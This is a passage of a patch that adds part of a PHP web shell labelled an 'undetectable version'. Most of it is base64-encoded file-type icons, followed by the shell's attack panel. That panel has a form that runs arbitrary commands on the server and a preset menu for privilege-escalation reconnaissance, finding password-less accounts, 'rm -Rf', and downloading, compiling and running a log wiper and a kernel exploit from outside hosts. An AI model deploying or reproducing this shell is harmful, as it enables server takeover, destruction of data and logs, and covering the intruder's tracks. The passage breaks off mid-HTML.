+"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". +"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" + ); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; + } + exit; +} +if ($act == "about") {echo "<center>Undetectable version by <br> Don </center>";} +?> + +</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr> +<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Shadow's tricks :D </b></a> ::</b></p></td></tr> + +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center">Useful Commands + </div> + <form action="<?php echo $surl; ?>"> + <div align="center"> + <input type=hidden name=act value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <SELECT NAME="cmd"> + <OPTION VALUE="uname -a">Kernel version + <OPTION VALUE="w">Logged in users + <OPTION VALUE="lastlog">Last to connect + <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins + <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD! + <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/? + <OPTION VALUE="which wget curl w3m lynx">Downloaders? + <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO + <OPTION VALUE="netstat -atup | grep IST">Open ports + <OPTION VALUE="locate gcc">gcc installed? + <OPTION VALUE="rm -Rf">Format box (DANGEROUS) + <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed) + <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2 + <OPTION VALUE="./zap2">WIPELOGS PT3 + <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed) + <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1) + <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2) + <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3) + <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4) + <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5) + </SELECT> + + <input type=hidden name="cmd_txt" value="1"> + &nbsp; + <input type=submit name=submit value="Execute"> + <br> + Warning. Kernel may be alerted using higher levels </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + + <center>Kernel Info: <form name="form1" method="post" action="http://google.com/search"> + <input name="q" type="text" id="q" value="<?php echo wordwrap(php_uname()); ?>"> + <input type="hidden" name="client" value="firefox-a"> + <input type="hidden" name="rls" value="org.mozilla:en-US:official"> + <input type="hidden" name="hl" value="en"> + <input type="hidden" name="hs" value="b7p"> + <input type=submit name="btnG" VALUE="Search"> + </form></center> + + </td> +</tr></TABLE><br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Preddy's tricks :D </b></a> ::</b></p></td></tr> 